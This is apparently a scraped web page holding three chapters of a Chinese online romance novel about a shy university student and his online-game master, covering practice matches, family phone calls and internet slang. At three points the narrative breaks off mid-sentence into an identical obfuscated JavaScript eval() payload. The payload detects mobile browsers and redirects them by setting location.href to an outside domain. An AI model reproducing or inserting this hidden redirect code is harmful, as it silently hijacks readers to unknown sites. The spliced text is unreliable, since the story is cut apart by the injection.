“网吧空出三台电脑作为擂台机,任何人都可以进来挑战。1V1,连赢二十场就可以拿一个官方手办。十个名额,先赢先得。” 时和还是第一次听宴云川说起网吧的业务。他听得入神,宴云川突然问:“来试试吗?” “试……试?” “嗯,PK。我给你留个幽篁。” 宴云川拿出手机点开相册,第一张便是幽篁手办图,像是提前准备好的一样。图片里,幽篁角色倚在放大的箜篌旁边,抬手随意拨动琴弦,旁边是一棵盛开的桃树,栩栩如生。 该说不说,幻世录在制作周边这件事上比制作游戏还要认真。见时和帽檐下的眼睛亮了一瞬,宴云川一副“没猜错”的模样挑眉。不给时和多看的机会,他收起手机,又问一遍:“来试试吗?” 惊鸿一瞥往往比长时间流连更让人难忘。时和戳着碗里的饭,看向宴云川,眼里带着跃跃欲试。 但是:“要连赢二十场。” 这就是答应的意思。宴云川笑了笑:“连胜二十场很简单,下午开始我带你练。” 对啊,眼前这人是PK赛连冠。 ** 只是,邀请他出门、带他骑单车、邀请他下周去网吧。今天的宴云川处处充斥着反常。可等到离开,宴云川也没说为什么要约他出来,好像真的只是突发奇想,想吃猪脚饭了一样。 回去的路上天公作美,阵雨停了下来。车开得比来时更快。好几次,时和想开口问:“为什么要约自己出来。”都因为急刹停了下来。 直到宴云川突然说:“寂沐梵那个账号在两个月前挂了交易平台,交易成功。” 时和瞬间明白了。 他又想到了心理医生让他给宴云川评分。那是个满分。因为只有宴云川,会把他“走错路了”这件事,用这样委婉又复杂的方式说出来。 “我——”时和想开口。 单车越过马路,走到小区干道上,停靠路口。 “到了。”宴云川说。 原来网吧离小区这么近。 他想说:“他其实一直都知道他在走一条错误的路,他前两天就猜到那个人不是纪帆了。” 纪帆是个公子哥,很要面子。 可他也很要面子。他不想承认自己错了,也想借用这个“纪帆”间接让自己好过一点。 有些肺腑之言错过一次就很难再开口。时和垂眸看着地面,突然听见宴云川说:“我以前没收过徒弟,不知道徒弟心情不好怎么哄。但是有个医——有个人说过,让人心情好的办法一定不在房间里。偶尔做一点很平常不一样的事,会有意外的惊喜。”他猛地抬头。 “所以,你约我出门是为了哄我?” “对。” “很抱歉,仓促了点。” 不仓促,可为什么? 时和的眼神跟在店里那会一样,洇着水汽,又好像哪里不一样。看着这双带着疑问的眼睛,宴云川的手不自觉摸向兜里的火机。 他也知道这样下去两个人的关系会越来越近,逐渐脱离预定的轨道,可是:“收徒的时候承诺过了,不会放养。你是我徒弟,我得负责。” 41.Chapter·三竭 附近放学的学生越来越多,不远处公交站下来三五成群,往两人的方向走过来。 许是宴云川说的话太过惊讶,以至于时和忽略了好几双落在身上的目光。 遇见宴云川之前,他的二十年人生称不上特别幸运,充斥着遗憾与空缺。而现在,他觉得第一次玩“幻世录”就遇见宴云川这样的师父,是一件比连续三次踩到“不落空”的地砖更幸运的事。 时和嘴唇开开合合,不知道该说什么。他做不到把他跟纪帆的事像讲故事一样娓娓道来,又不能什么也不说。辗转半天,碾出一句:“谢谢。” 宴云川跟初次遇见那天一样,站在树荫斑驳里笑了一下:“既然谢我,叫一声师父听听? 他怔了一怔。 师父这个称谓比朋友更加陌生,时和不知道怎么开口。嗓子没发声,耳朵倒先红了起来。 “师——”他鼓起勇气刚起个头,两步外走来一对母女。母亲正对着戴耳机的儿子耳提面命,让他明天一定要看好答题卡顺序,别涂错了。儿子敷衍嗯嗯啊啊两下,显然没听进去。 一鼓作气失败。 单车旁响起一声轻笑。 等母女两离开,宴云川问:“师什么?”时和又不知道怎么开口了。 “叫一声听听,下周六我开电动来接你。” 宴云川的声音像被阳光晒化的沥青路,透着炽热。时和多少觉得自己有点色令智昏。 “师——”他又开了个嗓。旁边非机动车道一辆红色电动哔哔连按四声,恨不得从一掌宽的两辆车之间绕个蛇形,也不知道遇上了什么急事。 二鼓续气也衰了,时和蜷在雨衣下的手捏成了拳,口罩下发出很轻地“啧”声。 今天一定不是个“师徒相认”的黄道吉日。 宴云川也没想到叫个称谓而已,会接一接二遇上情况,险些也失去表情管理。 他咳了一声,想缓解氛围。 恰好,时和第三次开口:“师——”榕树下,英文铃声突兀响起,直接让两人气竭。 来电显示林朔野。宴云川表情彻底崩坏,气笑了。他手伸进衣兜用力扣了扣打火机金属盖,又掏出手机,接通第一句话便是:“你最好是高考接代考被抓了,警察找我赎人。” 电话那头茫然地“啊”了一下。 “哥,你中邪了?” “……” “什么事?”宴云川恢复正常语气。 林朔野在电话那头问宴云川等会要不要一块吃火锅,宴云川舔着后槽牙说:“胃胀。”那个“胃”字,好像要从眼睛里冒出来。 他又问宴云川人在哪。 宴云川看了眼时和:“外边,有点事。” 他在心里暗叹一声:今天注定听不见那声“师父”。好像冥冥中自有注定一样,他们的关系也注定只有一条前进的单行道。 时和安安静静站在树下。 电话前后不过三分钟,以“我马上回“收尾。宴云川的表情恢复成了泰然自若的模样,斜斜倚在单车边,好像刚刚那一瞬的无奈和不满只是错觉。 挂掉电话,宴云川说了声:“抱歉。” 时和摇摇头。 “我——” “你——” 两人同时开口,又同时说:“你先说。” 先前那点温情的氛围被三次失败和铃声冲散,空气弥漫着淡淡的尴尬。时和压着指节,再回想刚才自己的举动难免觉得愚蠢。 两个字而已,说快一些不就好了? 古有“三过家门而不入”,他有“三叫师父而失败”。已经失败了三次,再叫是不可能了。 他目光一直落在地面青砖上,青砖缝隙里长了些许青苔,青苔与青苔间还有几根杂草夹缝生存。 正竖着杂草四块青砖间的杂草数量,宴云川清着嗓子开口:“我先回去了,阿朔没带钥匙。” 时和顿了一下:“好。” 好在没继续纠结师父这件事。 交代完这一句,两人又没说话,也没离开。阵雨停了有一会,天空冒出淡淡的金色。湿润的空气瞬间被蒸熟了,闷闷黏在雨衣下。 时和不舒服地拨动雨衣袖口。 倏地,宴云川说:“我看你进小区就走。” 他动作僵在半路,又跟没事人一样放开,故作淡定地“嗯”了一声,淡定往小区门口走。 走没两步,他猛然回头,匆忙地对着树下的身影喊了句:“宴云川,下次见。”直接转身。 ** 带着兴奋和落荒而逃的喘息到家,一推开门,玄关处砖红色的行李箱就跳进视线里。所有的兴奋荡然无存。时和心跳漏了一拍——濯清回来了? 他揪着领口闻了闻,闻见身上淡淡的猪脚饭香味,险些没把门关上,再次逃出去。可厨房的声音不给他逃跑的机会。 “小和?”张采纹从厨房探出头。 “张阿姨?”时和拉着门把发出吱呀一声。他视线做贼似的左右扫了两圈,没看见濯清,松了一口气——如果濯清在家,这会应该冲出来了——差点忘了,濯清从来不买布艺的行李箱。 瞥见时和望向行李箱的眼神,张采纹局促地解释:“我小儿子这两天高考,我得回家两天……我把这两天的饭提前做好,放冰箱冻着。吃的时候放微波炉里叮8分钟就成。” “谢谢阿姨。” “欸。” 两人有来有往聊了个回合就安静站在原地,跟被冰冻住了似的。冻了有一会,张采纹再次开口,带着大人特有的寒暄:“散步去啦?中午下了雨,路不太好走……” 时和僵硬地“嗯”了一声:“有雨衣。” 走进玄关,带上门,他想脱了雨衣,见张采纹站在厨房门口一动不动,又做不出当人面脱衣服的举动。于是两人又被冻住了。好在厨房的蒸汽锅发出气鸣,张采纹被气鸣声叫进了厨房。 趁着张采纹没出来的空挡,时和三下五除二拔了雨衣,又抖了抖水,拉着闷热的领口透气。一顿操作流畅自然,一气呵成。 脱下雨衣,他本能地想把衣服放进脏衣篓。张采纹从厨房走出来看见,以为是时和忘了丢,便提醒道:“小和,雨衣放一边,我出门拿下去。” “拿下去?”时和拎着雨衣,“要丢吗?” “……”张采纹有点摸不着头脑。 这雨衣一看就是路边超市买的,袖口还印着钢印,看质量最多五十出头。估计是出门下了雨,临时买的。以往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696800|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的雨衣,濯清总当一次性的穿,临时买了临时丢,久而久之时和也染上了习惯。 今天这位小少爷……勤俭持家了? 她不敢确认,也猜不透时和的心思,于是拘谨地站在一边,等着时和下一步动作。如果时和不丢,她再找时间把雨衣刷一下。 刚这么想,时和捏着雨衣松松紧紧好几回,嗫嚅问了句:“阿姨,雨衣…可以送去洗衣店吗?” 这是时和第一次对她提要求,虽然要求有点奇怪,但张采纹还是高兴了好一阵。她连连点头,又摇头:“雨衣应该收不了。你放篓里,阿姨洗,阿姨洗就好,保证给你洗的干干净净的。” 时和不想麻烦张采纹。 正准备丢,张采纹接过雨衣:“不累人的。” 她捂着雨衣像捂着一件宝贝似的不肯撒手,生怕时和抢了去。神态与平时拘谨维诺的模样大相径庭。时和回过神,脸热地说了句:“谢谢阿姨。” “那我先上去了。”他往楼梯口走。张采纹在身后应了一声。走到半路,他停在楼梯间,对着地板干巴巴地说:“阿姨,高考加油。” 等到楼上传来关门的声响,张采纹才后知后觉地睁着眼睛,笑容咧到眼底,大声“欸”了一下。 ** 地主家的“傻儿子”主动说话了,这事儿在张采纹眼里堪比寺里的泥胎突然显灵。公交还没驶出站,张采纹就把事情经过汇报给了濯清。 时和接到濯清电话时,一轮2V2刚刚开始。 对面星引看见宴云川和时和,直呼匹配前没有洗手。倒计时期间,他发了不下十遍“求轻虐”,还扬言下回在路边看到极品草药给时和挖好送来。 倒计时还剩十五秒,时和在濯清电话和PK的胜负欲中犹豫,就听见宴云川问:“伯母?” 他“嗯”一声:“得接。” 宴云川说:“没事,能赢。” 这通电话卡在倒计时三秒接通,时和来不及调整耳机,电话里就传来濯清亲昵地:“宝贝。” 他一边按着技能,一边回应濯清。 机械键盘的麻将音透过耳机传到濯清耳朵里,濯清问:“在打游戏吗?” 边接电话边打游戏是第一次。时和摸不准这算不算濯清的“沉迷游戏”范围。他按空了一个技能,对面幽篁优先放出控制。 “妈,有个PK。”时和紧张解释着。 电话那头沉默了一会儿。 以为濯清对打游戏接电话不满,时和按技能的手速都变快了些。场上的技能不成节奏,全靠宴云川走位风骚,躲了几波攻击。 敌方幽篁血量已经下到30%,时和安抚濯清:“妈,马上就好,3分钟。” 哪知濯清非但没有生气,还特别大度地放人。 “既然宝贝在PK妈妈就不打扰了,晚上妈妈再给你视频。”濯清语气称得上怡悦,又轻又柔,“空调别开太低,雨季气温变化快,容易着凉。” 末了,濯清还加上一句:“宝贝加油!”给时和吓得不轻,一个奶血技能砸在了对方星引身上。星引也吓得不轻,满地图嚷着时和这招祸水东引实在“恶毒”,竟然故意让宴云川吃味,要陷害他。最后被一折扇拍到了墙上,成了扇下亡魂。 42.Chapter·求知 幻世录的单人场和双人场PK评分系统是独立的,分数不互通,但奖励一样。宴云川是出了名的“单人场钉子户”,常年盘踞在那儿,与世无争,堪称和平典范。只是多了个徒弟后,他每周会带着时和打两局2V2,做做周常。 周常而已,两局就没了。 扇下亡魂没在意。PK结束,他把自己怎么中计导致输掉PK的“英勇事迹”在圈子里传得沸沸扬扬。圈里人笑骂他“不要脸”,转头却乐此不疲地把这糗事当乐子往外散了好几圈。 然后他们就乐不起来了—— 一连将近两小时,死在这俩师徒技能下的亡魂越来越多。如果说一个两个是运气不好,那十个二十个只能是长安城妖怪没栓好! 有人发现不对劲,赶紧私聊单身,问这两人什么情况,怎么川老板突然走上“邪魔外道”了。 单身比他还懵逼。 自从上午问了嘴己见和寂沐梵的事,宴云川就消失了一中午,回来没头没尾说了句“解决了”,也不知道解决点什么。还有双人PK。睡了个午觉而已,怎么回来时代还变了? 作为宴云川的“私生”以及双人PK场的一员,错过这么重要的事,感觉很不妙。他赶紧私聊宴云川:“你跟你徒弟整啥呢?” 消息发过去,过了两分钟才收到回复,只有简短的两个字:“练兵。”语气慵懒,结尾掐的又很匆忙,还夹杂着PK场匹配成功的提醒音效。 单身揶揄:“哟嗬!练兵?你俩这是准备组队去把游戏策划的老巢给端了?” 又是一个漫长的四分钟。宴云川发来语音:“不好意思,我们是文明人,文明人不用‘干’字。”语音里还游荡着胜利的欢庆声。 血腥,太血腥了!单身依依妖妖啧几声:“是是是,文明人刀刀见血。” “哪来的血。”宴云川笑了一下,“别冤枉幻世录,16+的游戏活着不容易。” 不知怎的,单身总感觉这货今天心情很好,甚至有点招蜂引蝶的劲儿。虽然平时也挺劲儿。 两人又东拉西扯闲聊了几句。单身正聊得起劲,耳机里突然又传来匹配成功的提示音。 他猛地想起正事,赶紧对着话筒喊:“诶!诶别走啊!你还没说你俩怎么突然刷上双人PK了?我还准备这几天上个分!有你师徒俩在这场子能玩?!” 语音丢晚了三秒,又石沉大海了。 等到一轮PK结束,单身才收到宴云川迟来的的消息:“下周网吧有个PK活动。” 他拖了一个长长的“原来如此”的尾音。 这消息像长了翅膀。 不过半小时,双人PK场所有嗷嗷待哺的玩家都收到了单身给的最新战报:“你川老板给徒弟练兵呢。等下周网吧联动的PK比赛结束坏日子就到头了,先忍着吧。”他们顿觉眼前一黑! ** 当晚,“川云携徒弟血洗双人场,预计持续一周”的噩耗,就已经像瘟疫一样传遍了全服的每一个角落。帮派群更是炸开了锅。 群里消息刷得飞快。有人哭诉下午连撞三场师徒组合,被虐得“嘤嘤嘤”直叫;有人则拍着胸口庆幸,多亏下午有事出门逃过一劫。 群里唯一过节的只有玩单人PK的那批人,连发了好几个红包,跪谢宴云川一周的不杀之恩。 打了一下午高强度PK,时和感觉手指都有些发僵。冲了个热水澡,紧绷了几个小时的神经才慢慢舒缓下来。他边擦头发边划拉着手机屏幕上的群聊信息,看见单身开玩笑@宴云川让好好休息。 扬言:“我带你徒弟上分。” 宴云川回了句:“你带不动。” 给单身整的哑口无言。 网吧这两天歇业,宴云川难得闲下来,群里消息都回的勤快许多。加上有林朔野这个活宝活跃气氛,把下午两人打PK的一些“实况”添油加醋往外倒,很快就有人吃瓜吃飘了。 群里蹦出一条消息:[产粮啊!你还愣着干嘛!!!这么好的素材!年上总攻YYDS!] 消息发出不到半分钟,马上撤回。 可惜,半分钟已经足够让群里大半在线的人扫完整句,包括时和。他盘腿陷在沙发里,指尖停在被刷上去的“消息已撤回”上,突然想到中午出门的细节也听见了一个类似的词语。 年上攻? 那年下攻是什么? 这个疑问一旦冒出来,就有点按捺不住。 十分钟后,时和起身抱来了平板,点开浏览器开始搜索:“年下攻是什么?”不知是网络卡顿还是怎的,搜了几次,平板显示一片空白。 手机还跳着微信群消息。看来网络没问题。他退出浏览器重启平板。重新进去还是一样的结果。不光“年下攻”搜不出,“年上攻”也是白板一片。 奇怪。上次出现这种情况,还是他手滑搜了个被网关屏蔽的敏感词。难道说…… 不信邪,他又把那三个字拆开,挨个输入: “下攻是什么?” “年下是什么?” “攻是什么?” 一顿操作,除了第一个“下攻”跳出一条风马牛不相及的围棋术语解释,附带一张黑白交错的棋盘图。另外两个词,搜索结果栏干净得像刚擦过的玻璃,一片透明。 手里的平板仿佛突然烧了CPU,格外烫手。时和蜷了蜷发烫的指尖。换作平时,遇见这种情况他直接就放弃了。可今天不一样。那个女生谈论时笃定的眼神和语气,分明在讨论他和宴云川…… 群里的消息还在百条百条往上刷。单身带头打趣问宴云川做上总攻是什么感受。宴云川好像遇见什么都应对得游刃有余,一句:“你可以做个总受试试。”又让单身吃了憋。 看着群消息,时和的目光不由自主地飘向平板角落里一款AI助手的图标。 AI不会被屏蔽。只是搜索一个关键词而已,这叫求知。况且AI不会弹出那些让人尴尬的图片,如果文字描述不对劲退出来就好了。 这么想着,他手指一步□□地往图标上挪。 刚挪一步,手机顶端忽然弹出一条微信新消息,是宴云川:[手腕有不舒服吗?] 消息来得突兀,却又恰好戳中了他此刻细微的不适。时和下意识地活动了一下有些僵硬的右手腕,本想回“有点”,又觉得这点强度就喊痛非常矫情,于是把“有点”两个字删了,十分倔强的换成“没有”。手腕刺了一下,像是抗议。 宴云川发了条语音:“如果不舒服可以冰敷十分钟,不然第二天起来会胀痛。” 时和分不清这是单纯的关怀提醒还是看穿自己撒谎了。他捏了捏耳垂,发了个:嗯。 聊天框又跳出一条语音:“群里——”语音只有两个字,跟发错了一样也被撤回。 这还是宴云川第一次撤回消息。时和纳闷看了眼帮派群,大家还在讨论产粮和双人PK的事,拉着宴云川一顿“老攻老攻”的叫,看不出什么异常。 他又返回聊天框。宴云川这次没发语音,而是打了一句:[群里的玩笑话不用在心上。] 为什么要放在心上? 时和回了句:[不会。] 群里又开始@宴云川打趣,私聊框暂时没了消息。他接着拿起平板开始蠢蠢欲动地往前挪。 墙上挂钟滴答作响,阳台窗帘吹动,从绿植旁边刮过去,发出沙沙声,窗外虫鸣鸟啼。周遭声音一股脑地往耳膜里钻。呼吸和心跳一样快。 指尖挪到最后一毫米,眼看就要成功,左手握着的手机传来剧烈的震动,震感从指尖直传心脏。 手机显示濯清来电。 时和像被烧着一样“噌”地弹起来,慌乱中手臂一扬,求生欲爆发般把平板甩出了三米远。平板被沙发边缘的抱枕拦了下来,免于一死。 他下意识瞥了一眼摄像头,掩耳盗铃地把抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721028|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枕盖在平板上,接通了视频。 视频接通,濯清毫不掩饰地笑脸印在屏幕上。时和调整好表情,喊了声:“妈。” 濯清笑容拉下来。 “感冒了?怎么嗓子有点哑?” “……” “有点热。” 半真半瞒的话说出口,嗓子更哑了。 “你看看你看看!肯定是下午空调开太低了吧!妈妈跟你说了多少遍,空调要调28度,不能贪凉!”濯清嗔怪地瞪了他一眼,低头不知道翻看什么,嘴里不住地念叨,“下雨散步,又吹空调,肯定是感冒了。这节骨眼……张姨也不在……” 念叨到一半,她担忧地抬头:“宝贝,电视柜第三个抽屉里有体温计,你先拿出来量一下。” 自知理亏,时和老实起身:“好。” 也不知道是紧张过了头还是真吹感冒了,体温显示37.1。时和看着体温计有点宕机,还没反应过来,濯清的念叨就从“妈妈说什么了”开始了。 接下来的一个小时,时和捧着手机,听着濯清事无巨细的叮嘱,从空调温度到饮食作息,脑子嗡嗡作响,几乎成了点头机器。 这场漫长的“健康宣教”最终以“以后空调绝对不能全天开,白天最多开两小时必须关,温度绝不能低于28度”作为总结。 濯清盯着屏幕亲眼看着时和喝下感冒灵,又灌下一支抗病毒口服液,在他再三保证会乖乖照做之后,才揉着太阳穴,满不放心地挂了视频。 屏幕暗下去的瞬间,时和整个人像被抽掉了骨头,重重向后倒进沙发里,长长地地呼出一口气。劫后余生般瘫了几分钟,他才弯腰捡起被遗忘在抱枕下的平板,拖着步子上了楼。 走到书桌边,时和习惯性地想清理后台给平板充电。指尖刚点亮屏幕,界面却猝不及防地跳转到了那个AI主页,清理后台的动作瞬间僵在半空。 界面左侧保留着历史搜索记录。大部分是工商管理相关知识延伸,夹杂着一些幻世录攻略检索。 是丢平板的时候点到了吗? 他目光锁在界面中央的问答框上,不知道哪根筋搭错,鬼迷心窍地把平板往怀里一塞,藏在怀里,偷感十足地走进了洗手间,上了锁。 ……点都点开了,不搜一下好像有点亏? [年下攻是什么?] 时和快速地把问题敲了进去。 洗手间角落的信号似乎不太稳定,页面上的加载圆圈转啊转,迟迟没有反应。 逼仄的空间里只剩下指尖无意识敲击屏幕边缘的哒哒声,节奏越来越快,透着一股焦躁。就在他以为AI也被屏蔽准备放弃时,页面终于跳出了“思考中”的字样。 洗手台的边缘响起“砰”的一声,漱口受到撞击掉进水槽。顾不上水杯,时和站直了身子,眼睛紧紧盯着屏幕。AI给的信息很全,名词解释、案例讲解,甚至还附带了相关文学作品推荐。 他匆匆扫过开头的定义,视线不受控制地往下滑。看到最后,学生思维不自觉发散,又问了起了“攻受是什么”、“耽美是什么”……突然就明白了宴云川那句“不要放在心上”是什么意思。 再出来的时候,时和整张脸猛地烧到了40度。 28度的空调果然很热! 快热晕了! 许是太热,这一晚他睡得极不安稳。他跌进了一个奇怪的梦里。梦里尽是些不可言说的禁忌片段,有些甚至从未在网上见过,却离奇地在他脑中凭空捏造出来。更要命的是,梦里每一帧画面,主角的脸都清晰无比:是他自己,还有宴云川。 眼看梦中情景濒临失控,时和猝然惊醒,心脏狂跳如擂鼓,冷汗涔涔地瞪着天花板,“蹭”地掀开被子跳下床,连拖鞋都顾不上穿好,趿拉着就跌跌撞撞地冲下了楼,一头扎进客厅的沙发里,把自己蜷成一团,睁着眼睛捱到了天亮。 这床没法睡了! ** 43.Chapter·家暴 说不睡就不睡。时和自认为自己是一个有骨气的人。隔天晚上,他直接抱着毛毯和枕头转战到了楼下客房。客房虽然隔三差五会打扫,可一开门还是能闻见常年不住人的潮气。像一团湿棉絮。但比起在房间做奇怪的梦,他宁愿在这儿堵鼻子。 一连睡了四天,期间濯清打来视频问原因,时和捡着无关紧要的部分汇报:“做噩梦了。” 濯清开玩笑:“又梦见妈妈变成妖怪了?” 比这个还可怕。 时和心说:“梦见自己变成妖怪了。” 那个梦太难以启齿,断不能说给濯清听。不能说,又不能骗人。到最后,他只是摇摇头,用几声刻意放软的“妈”和清澈无辜的眼神换来了客房使用权,还有一天三顿的猪心安神汤。为此,他紧张了好几晚,可濯清好像完全没有看出他的隐瞒。 PK场的训练日复一日持续着。高考结束,网吧恢复营业,宴云川又开始断断续续的忙碌,经常刚打上两三局,就被开卡或呼叫服务的声音打断。 也许是刚熬过人生第一个重大转折点,大家都带着点久困宣泄的疯劲儿。网吧客流量激增,无论早晚,总能听见人猿泰山般的嘶吼。 不止网吧,长安城这几天的挂机人数也翻了好几倍。原来帮战高峰时期也不过六十条线,高考刚结束那晚骤然飙升到一百三,服务器直接崩了。 刚放出来的“疯鸟”们早就跟时代脱了节,对PK场的形势变化一无所知。甚至有很多人不知道宴云川收了徒弟,在PK场遇见宴云川还在打卡发圈纪念,直到被虐了百来分才想着去补课。 但毕竟是才高考完的脑子,新鲜着。等这群“疯鸟”补完课回来,他们先是叽叽喳喳叫了好一阵,直哭自己生不逢时,没遇上宴云川肯收徒的好时候。又暗中成立了“反PK联盟”,不惜用上学校誓师大会那套说辞,洗脑自己的亲友和路人。嘴皮都磨破了,终于把双人PK场磨成了一座鬼城。 这天周三。榕城的雨季阶段性暂停,空气中积累的湿意很快被艳阳蒸散。窗外榕树蝉鸣不断。时和坐在电脑桌前,听着喇叭传来宴云川的声音,思绪却被那些看不见的蝉勾走了。 “幽篁打破军会比较吃亏。”喇叭里的声音比洒进来的阳光还要温和,“刚才的青竹障若慢了,容易被近身缠住。破军近身通常会连用‘破釜沉舟’,可以交解控拉开距离,跑图……” 声音每说一个字,黄沙中的幽篁就往右挪开一分。不知道挪了多久,屏幕中央突然弹出【匹配中止】的提醒。声音戛然而止。 时和后知后觉回神,水杯里的水已经空了。 “要忙了吗?” 他放下水杯,抿掉嘴角水渍,听见喇叭那头传来有节奏的敲击声,还能隐约荡出回音。 敲击声漏了两拍,被一声浅笑代替。宴云川说:“队友超出距离了。” 他一口尖牙差点被咬破自己的皮。 太丢脸了! 书房回荡着剧烈的咳嗽。时和下意识想续水,发现保温壶里的存粮也在不知不觉中被自己喝完了。他起身,翻开抽屉,想在一亩三分的地方找能缓解咳嗽的东西。润喉糖、枇杷膏,什么都好。 刚翻开抽屉里一叠做攻略的草稿纸,喇叭又响起宴云川的声音。这次声音更温和了些,还带着点安抚的语调:“是寂沐梵又找你了吗?” “……不是。”时和停下动作。 他已经把寂沐梵删了。总不能让宴云川白哄。 说来也奇怪,自从删了寂沐梵,他就跟消失了一样,既没有问原因,也没有纠缠。不过这样也好。不然……他暂时还没想好删好友的说辞。 “那是感冒了?”宴云川又问。 “没、咳,没有。” 时和按着胸口,压下咳嗽。 断掉的敲击声又出现在喇叭里,一下一下,像极了他遇见难解的题目敲笔尖的节奏,听得喉结莫名发干。他几乎是屏住了呼吸,生怕下一秒宴云川追问:“怎么了?”这答案更没想好。 总不能说:“我听见你的声音就燥热,不自觉的想离你这尊火焰山远点,再远点……” 不行。时和盯着屏幕看了眼——黄沙里已经看不见御风的影子了,不能再远了。 不知为何,瞥见这满屏黄沙,他又想走近一点。这么想着,他不由自主靠近鼠标。正想操作,屏幕猝然跳出【队长邀请您跟随】的弹框。鼠标弹了一弹,落在同意上,页面又亮起匹配计时。 “再打两轮,休息一下。”宴云川倏地响起。 “……好。” 看来是不会再追问了。 时和坐回位置上,睫毛垂出弧度。 宴云川不问,他应该感到轻松才对,可现在他竟然有点噩梦烂在心里的憋闷。他晃着鼠标在地图右下角的沙漏上点来点去。沙漏不停倒转、计时。时间从五分钟流到十分钟,像是永远转不停。 沙漏又转了两轮,两分钟过去了。喇叭里发出点击鼠标的清脆声。宴云川取消了匹配。 “嗯?”时和松开鼠标。 “群里传昨晚很多主播联合粉丝暂停PK,看来是真的。”宴云川语气兴味,“还挺团结。” 怪不得今天匹配时间格外长。 “那……”怎么办。 “去单人场吧。” “单人场?!”时和音调扬高,尾音甚至带上了点自己都没察觉的急切。 如果去单人场,就意味着要和宴云川分开了! 他不满地按了按指节。宴云川像是没听出来似的,慢悠悠地开口:“不想去单人场吗?” 不想。 食指发出咔哒一声。 宴云川又说:“可以去验收特训结果。” 也不想。 无名指又被按了一下。 “还是说……” 喇叭那头出现短暂的沉默,带着一丝若有似无的呼吸。等不到声音,时和搭在指节上的手松开,身子反射性的靠近喇叭。 刚倾下腰,喇叭传来酥麻的一声:“还是说,你更喜欢陪我上分?”椅子嘭一下弹开半米。 稳住椅子,时和听见俞秋的声音:“老板,我在D区都看见你笑了。是遇见什么好事啦?” 然后,宴云川来了句:“逗逗大学生。” “……” 宴云川是故意的。 时和抿着唇瓣把椅子挪回去。同样的套路,每次都能上当。肯定是休半年把脑子休钝化了。形象不能塌了一次又一次。 他端着偏冷的嗓子,调整好平静不带波澜地语气说:“继续。”话刚落,又听见宴云川说:“我切微信打给你。单人场用不了队伍麦。”刚捏出来的冷静瞬间出现了裂痕,越扩越大。 裂痕快碎成渣渣的时候,宴云川解释道:“玩单人场的人不多,况且,我给你做活靶提升更快。” “等会我数到三,我们同时按匹配,应该有80%的概率能匹上。” 那匹配不上呢?时和在心里问。 宴云川跟听见似的接上:“嗯……如果匹配不上……我一局打的很快,打完去你那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737233|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观战。不行多匹配几次,匹配到遇见为止。” 匹配到遇见为止……时和默念了一遍这句话。20%的失败概率固然很大,可总能遇上。 他嘴角微扬,应道:“好。” 结果,幻世录马上给两人安排了一波“理想很丰满,现实很骨感”的制裁——他们匹配了将近半小时,宴云川打了将近三十局,都没遇上。 单人场因为有宴云川驻守,平日里是没什么人匹配没错。可这两天大家收到宴云川去双人场的消息,那些平常没机会发挥的PK圣手纷纷磨刀霍霍,表示要拿回自己失去的荣耀。还有一些双人场打不了但是犯PK瘾的玩家也来了单人场。两拨玩家加起来,数量可观。 于是,单人场比昔日的双人场还要鼎沸。 网吧又开始新的一波忙碌。喇叭时不时传来俞秋几米开外的吆喝,又时不时响起服务台的催促。宴云川离开有一分钟了。这点环境音,在静谧的书房并不显得热闹。倒是世界频道非常喧嚣。 [青泞:报!!双人场解封!川老板和见神去单人场了!趁现在赶紧刷分啊!!] 这个消息是半小时前,两人刚打第一场的时候,宴云川匹配到的对手发出去的。可惜她发的是频道服,以至于很多还在PK场没出去的怨种们错过了一手情报。 [无谓一切背叛:MMP!!我就错过了一分钟!一分钟!师徒俩整整三把!逮着我匹配呗!] [撩汉大婶:哈,哈哈,哈哈哈。有我惨?好不容易上的天师,川老板四把徒弟三把,天师段位还没坐热就掉下去了,哈,哈哈。] … 短短半小时,大家精神状态逐渐美丽: [小斗兵:各位,听我的,匹配前去皇城门口给咱皇帝老儿烧柱香,他会保佑你十局里只遇见三局的,哈哈哈哈哈哈哈哈!!!] [嘻嘻嘻嘻:烧什么香!打不过就反省反省,自己这么多年有没有好好提升功力!] 这位叫“嘻嘻嘻嘻”的是十五分钟前改的ID,原ID非常正经:止蚀。 对此,有人评价:又疯了两个!来人拖走! 有之前茗铺的阴影在前,时和本不想刷世界频道,奈何喇叭消息一条接一条往上蹦。他忍不住好奇,又正好无聊,便翻了两页,结果翻上了头。 翻着翻着,一个双人场的玩家出来倒油: [歌岛礼失:收打不了PK的失足少年!姐姐我带你打双人PK啊!] 世界是一个巨大的复读机,在哪都一样。消息一出,队形自觉就跟上了: [步戏:我也收!收苦逼高二生!] [迷途在北极的鱼:那我收纯情社畜!] [收通宵战神!] [收期末破防人!] … 